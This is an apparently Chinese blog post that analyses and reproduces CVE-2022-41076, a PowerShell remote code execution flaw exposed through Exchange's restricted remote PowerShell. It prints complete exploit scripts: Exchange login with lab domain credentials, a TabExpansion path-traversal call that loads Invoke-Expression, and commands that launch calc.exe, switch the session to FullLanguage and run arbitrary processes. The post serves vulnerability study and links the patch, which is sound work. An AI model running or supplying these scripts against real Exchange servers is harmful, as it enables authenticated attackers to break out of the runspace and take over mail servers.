PowerShell远程代码执行漏洞(CVE-2022-41076)分析与复现
创始人
2024-05-31 14:05:11
0

漏洞概述

PowerShell(包括Windows PowerShell和PowerShell Core)是微软公司开发的任务自动化和配置管理程序,最初只是一个 Windows 组件,由命令行 shell 和相关的脚本语言组成。后于2016年8月18日开源并提供跨平台支持。

PowerShell 命令称为 cmdlet(读作 command-let),可以用.NET 语言或 PowerShell 脚本语言本身来编写。PowerShell提供了运行空间功能,允许应用程序自定义运行空间,以限制可执行的自定义cmdlet。但在其会话中额外提供了可使用TabExpansion cmdlet,结合目录穿越可实现加载任意dll执行,导致攻击者可以执行原本不能执行的cmdlet,从而在目标机器上执行任意代码。

使用了PowerShell自定义运行空间的程序受此漏洞影响。比如Microsoft Exchange邮件服务程序通过此功能提供了远程PowerShell,以便远程管理Exchange邮件服务器,该远程PowerShell限制了危险的cmdlet和命令的执行。但是经过身份验证的远程攻击者可以在此远程PowerShell会话中利用该漏洞,在目标机器上执行任意代码。

影响范围

主流Windows操作系统(版本较多,可参考文末参考链接)、PowerShell 7.2和7.3

复现环境

服务器操作系统:Microsoft Windows Server 2012 R2 Standard 64位操作系统

服务器IP:192.168.220.162

攻击机操作系统:Win10 64位操作系统

Microsoft Exchange邮件服务程序版本:2016

分析工具:dnspy、procexp

漏洞分析

首先安装Microsoft Exchange Server 2016程序(需要先安装域,再安装Exchange,内存最好8G以上,以免出现各种异常,具体方法可参考文末参考链接),安装好后浏览器访问https://192.168.220.162/ecp,使用域管理员账号登录Exchange管理中心,添加测试账号。分析时使用的测试账号是新建的域普通用户账号,账号名:cve-user,密码为:4rfv5tgb.,以“现有用户”的方式新建用户邮箱,如下图所示:

在攻击机(可以不加入域,但要保证能通过域名访问到Exchange服务器)上打开powershell控制台,使用测试账号登录Exchange提供的远程PowerShell,登录脚本如下:

1

$User = "BeaconTowerLab\cve-user"$Pass = ConvertTo-SecureString -AsPlainText "4rfv5tgb." -Force$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://WIN-EN5J2DQFIF3.BeaconTowerLab.local/powershell/ -Authentication Kerberos -Credential $CredentialImport-PSSession $Session -AllowClobber

其中$User是新建的普通域用户账号,$Pass中的字符串“4rfv5tgb.”是域用户密码,$Session中的URI“http://WIN-EN5J2DQFIF3.BeaconTowerLab.local/powershell/”是Exchange提供的远程PowerShell访问链接,请注意这里是HTTP协议,域名是Exchange服务器的域名。登录成功后,就可以执行Exchange提供的PowerShell cmdlet管理邮件服务器。比如执行 Get-Mailbox cmdlet可以查看邮箱对象和属性,脚本如下:

1

Invoke-Command -Session $Session -ScriptBlock {get-mailbox}

尝试执行其他cmdlet,比如“get-process”,试图获取Exchange服务器的进程列表,执行结果如下图所示:

可以看到,get-process cmdlet不能被执行。说明Exchange提供的远程PowerShell限制了cmdlet,并不能执行任意cmdlet。被允许执行的cmdlet可以通过get-command来获取,执行结果如下图所示:

这种受限制的PowerShell是由运行空间Runspace 技术实现的。使用dnspy反编译Exchange文件Microsoft.Exchange.PowerSharp.Management.dll,在类ExchangeManagementSessionFactory中,可以找到注册cmdlet代码实现的细节,如下图所示:

在Exchange服务器上有多个w3wp.exe进程,分别处理不同的WEB请求。负责Exchange远程PowerShell登录、cmdlet执行的进程命令行参数中包含“MSExchangePowerShellAppPool”字符串,如下图所示:

使用dnspy调试器附加上该进程,反编译系统模块System.Management.Automation.dll,在登录Exchange PowerShell时,将调用该文件包含的System.Management.Automation.Remoting.ServerRemoteSession类中的HandleCreateRunspacePool()函数。当传递参数WSManStackVersion < 3.0时,将注册额外的TabExpansion cmdlet,提供cmdlet补全功能,如下图所示:

然后在登录成功后,可以执行TabExpansion cmdlet,补全“test”cmdlet的脚本如下:

1

Invoke-Command -Session $Session -ScriptBlock {TabExpansion -line "test" -lastWord "test"}

在TabExpansion的实现代码中,使用“|;=”字符分割传入的参数,然后执行Get-Command cmdlet,如下图所示:

此时Get-Command cmdlet在执行的时候,将执行系统模块System.Management.Automation.dll的System.Management.Automation.CommandDiscovery类中的LookupCommandInfo()函数,如下图所示:

其中调用函数TryModuleAutoLoading(),其下再调用函数AutoloadSpecifiedModule(),最终执行Import-Module cmdlet加载对应的模块,如下图所示:

比如执行如下脚本,可以实现加载NetTCPIP模块。

1

Invoke-Command -Session $Session -ScriptBlock { TabExpansion -line ";NetTCPIP\Test-NetConnection" -lastWord "-test" }

这样相当于执行cmdlet:Import-Module -Name NetTCPIP,如下图所示:

Import-Module导入的模块文件可以是模块文件.psd1、PowerShell脚本文件.ps1和托管模块文件.dll。这样一来,配合路径穿越,可以实现加载PowerShell模块文件Microsoft.PowerShell.Commands.Utility.dll。脚本如下:

1

Invoke-Command -Session $Session -ScriptBlock { TabExpansion -line ";../../../../Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression" -lastWord "-test" }

PowerShell模块加载成功后,执行Invoke-Expression cmdlet可实现执行任意命令,突破了原来使用运行空间Runspace 创建的PowerShell cmdlet限制。比如获取当前用户名的脚本如下:

1

Invoke-Command $session {Microsoft.PowerShell.Commands.Utility\Invoke-Expression "[System.Security.Principal.WindowsIdentity]::GetCurrent().Name" }

利用场景

从漏洞分析结果可知,使用了PowerShell自定义运行空间的程序受此漏洞影响,可实现任意代码执行。根据网络上公开的消息,Exchange和Skype Business使用了该技术,可以利用该漏洞,实现远程代码执行,接管服务器。针对Exchange程序,需要以下信息,才能利用该漏洞:

1. 一个能成功登录的邮箱账号和密码

2. 远程PowerShell管理中心可通过账号密码访问

3. 操作系统版本或者PowerShell版本在漏洞范围内

漏洞复现

漏洞分析中已经包含了Exchange的安装说明和注意事项,不再赘述。根据网上已公开的漏洞利用代码,这里再做归纳和说明。利用漏洞,获取当前用户名的脚本如下:

1

$secureString = ConvertTo-SecureString -String "4rfv5tgb." -AsPlainText -Force$UserCredential = New-Object System.Management.Automation.PSCredential -ArgumentList "BeaconTowerLab\cve-user", $secureString$version = New-Object -TypeName System.Version -ArgumentList "2.0"$mytable = $PSversionTable$mytable["WSManStackVersion"] = $version$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck -ApplicationArguments @{PSversionTable=$mytable}$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://WIN-EN5J2DQFIF3.BeaconTowerLab.local/powershell -Credential $UserCredential -Authentication Kerberos -AllowRedirection -SessionOption $sessionOptionInvoke-Command -Session $Session -ScriptBlock { TabExpansion -line ";../../../../Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression" -lastWord "-test" }Invoke-Command $session {Microsoft.PowerShell.Commands.Utility\Invoke-Expression "[System.Security.Principal.WindowsIdentity]::GetCurrent().Name" }

其中“cve-user”是新建的普通域用户账号,“4rfv5tgb.”是域用户密码,同样也是Exchange的账号和密码,“http://WIN-EN5J2DQFIF3.BeaconTowerLab.local/powershell/”是Exchange提供的远程PowerShell访问链接,请注意这里是HTTP协议,域名是Exchange服务器的域名。

执行任意命令,比如执行计算器程序calc.exe,脚本如下:

1

Invoke-Command $session {Microsoft.PowerShell.Commands.Utility\Invoke-Expression "[Diagnostics.Process]::Start('calc.exe')" }

进入交互式PowerShell,执行任意命令,比如执行ipconfig.exe /all,脚本如下:

1

Enter-PSSession -Session $Sessioninvoke-expression "`$ExecutionContext.SessionState.LanguageMode"invoke-expression "`$ExecutionContext.SessionState.LanguageMode='FullLanguage'"$ps = new-object System.Diagnostics.Process$ps.StartInfo.Filename = "ipconfig.exe"$ps.StartInfo.Arguments = " /all"$ps.StartInfo.RedirectStandardOutput = $True$ps.StartInfo.UseShellExecute = $false$ps.start()$ps.WaitForExit()[string] $Out = $ps.StandardOutput.ReadToEnd();$Out

补丁链接

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41076BootstrapClassLoader

参考链接

https://zh.wikipedia.org/zh-hans/PowerShell

https://blog.viettelcybersecurity.com/tabshell-owassrf/

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41076

https://blog.csdn.net/qq_44159028/article/details/123814873

https://github.com/balki97/OWASSRF-CVE-2022-41082-POC/blob/main/TabShell.ps1

原文链接

相关内容

热门资讯

广东省厦门植物园导游讲解词 广东省厦门植物园导游讲解词  现在我们来到西大门也就是植物园的主入口,建园后的多次重建,现大门建于1...
英文导游欢迎词 英文导游欢迎词范文  下面是关于英文的导游欢迎词范文,希望对大家有帮助!  英文导游欢迎词范文一  ...
乔家大院的导游词 乔家大院的导游词  导游词是导游人员引导游客观光游览时讲解词,是导游员同游客交流思想,向游客传播文化...
绍兴鉴湖导游词-浙江导游词 绍兴鉴湖导游词-浙江导游词  作为一名专门引导游客、助人为乐的导游,通常需要用到导游词来辅助讲解,导...
长白山天池奇峰导游词 长白山天池奇峰导游词范文  游客朋友们,下面我向大家介绍雄峙长白山山巅,组成长白山宏大壮丽的雄姿,护...
导游词作文350字左右 篇一大家好!欢迎大家来到敦煌莫高窟,我是你们的张导游,请大家保护它的卫生,不要乱涂乱画,随时注意安全...
青岛花石楼导游词 青岛花石楼导游词  作为一名乐于助人的导游,就难以避免地要准备导游词,导游词不是以一代百、千篇一律的...
兰州白塔山导游词 兰州白塔山导游词范文  作为一名尽职尽责的导游,时常会需要准备好导游词,导游词具有极强的实用性,涉及...
惠州中山公园导游词 惠州中山公园导游词范文  作为一位无私奉献的导游,通常会被要求编写导游词,导游词是导游员在游览时为口...
介绍重庆山水之都导游词 介绍重庆山水之都导游词  作为一名专门为游客提供优质服务的导游人员,时常需要编写导游词,导游词是导游...
抚顺海洋馆导游词_导游词 抚顺海洋馆导游词_导游词  作为一名默默奉献的导游,总不可避免地需要编写导游词,导游词具有极强的实用...
善卷洞的导游词 善卷洞的导游词  善卷洞位于螺岩山中,是一个古老的石灰岩溶洞,游程长约800米,全洞面积约5000平...
苏木山森林公园导游词 苏木山森林公园导游词  作为一名可信赖的导游人员,总不可避免地需要编写导游词,导游词具有形象、生动、...
小学四年级导游词 小学四年级导游词  作为一名优秀的旅游从业人员,可能需要进行导游词编写工作,导游词具有极强的实用性,...
河南信阳南湾湖景区导游词 河南信阳南湾湖景区导游词  我们今天将要游览的是信阳南湾湖风景区。南湾湖风景区位于信阳市西南郊外,距...
临安神龙川导游词 临安神龙川导游词  作为一名可信赖的导游人员,总归要编写导游词,导游词具有注重口语化、精简凝练、重点...
小三峡导游词 小三峡导游词大宁河小三峡即为著名的巫山小三峡。大宁河发源于陕西省平利县的中南山,流经重山峻岭和大小峡...
西双版纳植物园导游词 西双版纳植物园导游词  导语:西双版纳在云南省的南部,面积约2万平方公里,聚居着10多个民族,其中以...
九华山的导游词 九华山的导游词  九华山原来并不叫九华山,在唐朝的时候叫做九子山,因为九华山山峰秀丽,高出云层的山峰...
经典导游欢送词范 经典导游欢送词范范文  各位游客:  好花不常开,好景不常在,今日离别后,何日君再来?邓丽君小姐这首...